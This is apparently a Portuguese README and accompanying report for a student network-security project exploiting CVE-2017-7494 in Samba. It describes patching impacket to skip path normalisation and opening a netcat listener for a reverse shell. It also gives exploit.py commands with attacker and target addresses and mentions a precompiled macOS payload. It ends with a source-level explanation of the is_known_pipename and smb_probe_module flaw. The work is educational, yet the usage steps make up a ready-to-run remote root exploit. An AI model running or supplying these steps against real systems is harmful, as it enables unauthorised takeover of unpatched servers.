Exploit do CVE-2017-7494 para o trabalho final do curso de Net Security. Isso revelaria a vulnerabilidade de serviços executados com privilégios administrativos no Linux.
Exploração da CVE-2017-7494 para o trabalho final da disciplina de Segurança de Redes. Isso revela a vulnerabilidade de serviços executados com privilégios administrativos no sistema operacional.
Este bug é funcional tanto no macOS quanto no Linux.
Antes da exploração, você precisa baixar as dependências.
/bin/bash install_requirement.sh
Uma das dependências mais importantes é o pacote impacket para Python. Ele faz a conexão SMB funcionar.
No entanto, para construir uma requisição válida que faça o servidor Samba carregar nosso módulo malicioso, temos que modificar o impacket original.
A instalação install_requirement.sh instala uma versão modificada (modificada por mim), então você não precisa se preocupar com isso e não precisa fazer nenhuma modificação manual.
Porém, se você quiser usar uma versão mais nova ou outra versão do impacket, terá que modificar o pacote por conta própria.
Vá para
impacket/impacket/smb3.py, modifique a linha 11154 e comente as duas sentenças seguintes:
# fileName = fileName.replace('/', '\\') Deve ser comentado!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Deve ser comentado!
if fileName[0] == '\\':
fileName = fileName[1:]
Para explorar o alvo, você precisa abrir dois terminais. Um usará netcat para interagir com o shell reverso, o outro será usado para explorar o BUG.
Uso:
# Primeiro terminal: use nc para obter o shell reverso
$ nc -p 23333 -l
# Segundo terminal: explorar o alvo
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
Se o alvo for macOS, você não deve compilar o módulo no Linux! Pois o gcc não suporta o formato MACH-O. Se você é um usuário de Mac, a compilação do payload no macOS funciona.
Uma versão pré-compilada está no diretório. O mac_payload.so.
Use a flag -m para fazer o exploit.py saber que você usará um payload personalizado.
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
sudo -H python3 -m pip uninstall impacket
Um processo detalhado será postado em chinês como meu trabalho final. Se você entende chinês, será tranquilo para você. :)
—— Relatório de ataque CVE-2017-7494
O EternalBlue causou enormes perdas em 2017, explorando o mecanismo SMB do Windows para ataques de worm. SMB é um serviço executado no Windows que permite o compartilhamento de arquivos e chamadas remotas de procedimentos (Remote Procedure Call, RPC) entre diferentes hosts. Talvez seja justamente essa natureza de funcionalidade que o torna um alvo frequente de hackers.
As vulnerabilidades no kernel do sistema operacional em si devem ser bastante raras — mesmo para o Windows. O que geralmente dá problema são os vários serviços executados sobre o sistema operacional. Eles não possuem código tão rigoroso e testado quanto o kernel, mas executam com privilégios elevados, gerando muitas oportunidades de exploração maliciosa. Então, podemos comprometer todo o sistema atacando serviços de alto privilégio no sistema operacional, em vez de atacar os componentes de baixo nível do próprio sistema? Um sistema operacional sozinho é apenas um kernel, não faz nada; ele só fornece diversas funcionalidades ao executar vários serviços de sistema. Muitos serviços do sistema operacional precisam ser executados com privilégios de administrador (como daemons). Portanto, basta comprometer esse serviço de alto privilégio para obter automaticamente os privilégios de administrador do sistema e, consequentemente, comprometer todo o sistema operacional.
Por fim, encontrei uma vulnerabilidade explorável na implementação open-source do SMB — o Samba — a CVE-2017-7494. Semelhante ao Windows, um hacker pode obter privilégios de administrador do sistema operacional por meio da chamada remota de procedimentos do Samba, tendo assim a oportunidade de construir um worm para atacar pela rede.
O kernel Linux é conhecido por sua segurança devido ao código aberto; já o macOS, por ser um sistema de nicho, com poucos vírus direcionados, também costuma passar uma falsa sensação de segurança. Portanto, este experimento selecionou o macOS e várias distribuições Linux diferentes para ataque, a fim de demonstrar a fragilidade dos sistemas operacionais — não importa o quão "seguro" o design de um sistema operacional pareça, em qualquer circunstância ele pode ser comprometido devido a uma vulnerabilidade em um pequeno aplicativo.
Como o Samba é um serviço equivalente ao SMB, alguns o chamam de "EternalBlue versão Linux", embora eu acredite que, do ponto de vista técnico, haja diferenças essenciais entre os dois:
A vulnerabilidade atual vem principalmente da chamada à função smb_probe_module() na função bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) em source3\rpc_server\srv_pipe.c:
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
...
// Aqui está o problema
status = smb_probe_module("rpc", pipename);
....
A função np_open(), que chama is_known_pipename(), é um módulo de controle. Após verificar a solicitação de serviço RPC, ela chama is_known_pipename(). Pelo nome, is_known_pipename() serve para determinar se o pipe remoto já está registrado. Porém, após o Samba 3.50, um novo recurso foi introduzido: carregar módulos dinâmicos chamando smb_probe_module(). Esta vulnerabilidade explora exatamente essa funcionalidade de carregamento de módulos para realizar a chamada de um módulo malicioso construído por nós.
A cadeia de chamadas para carregar o módulo rpc pipe é:
is_known_pipename() -> smb_probe_module() -> do_smb_load_module() -> load_module()
Nas versões do Samba 3.5.0 ~ 4.6.3, a função do_smb_load_module() é reutilizada tanto por smb_probe_module(), que carrega módulos RPC, quanto por outro smb_load_module(), que carrega módulos próprios. smb_load_module() serve para carregar alguns módulos já conhecidos, provavelmente para extensões internas de funcionalidades do próprio Samba, como módulos VFS; já smb_probe_module() deveria carregar módulos possíveis, talvez vindos de solicitações RPC.
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, true);
}
NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, false);
}
Para ser reutilizada por essas duas funções de origens tão diferentes (embora, na minha opinião, esses dois módulos absolutamente não deveriam reutilizar a mesma função), do_smb_load_module() implementa simultaneamente duas formas: "carregar módulos dentro do subsistema SMB analisando a solicitação" e "carregar módulos por caminho absoluto".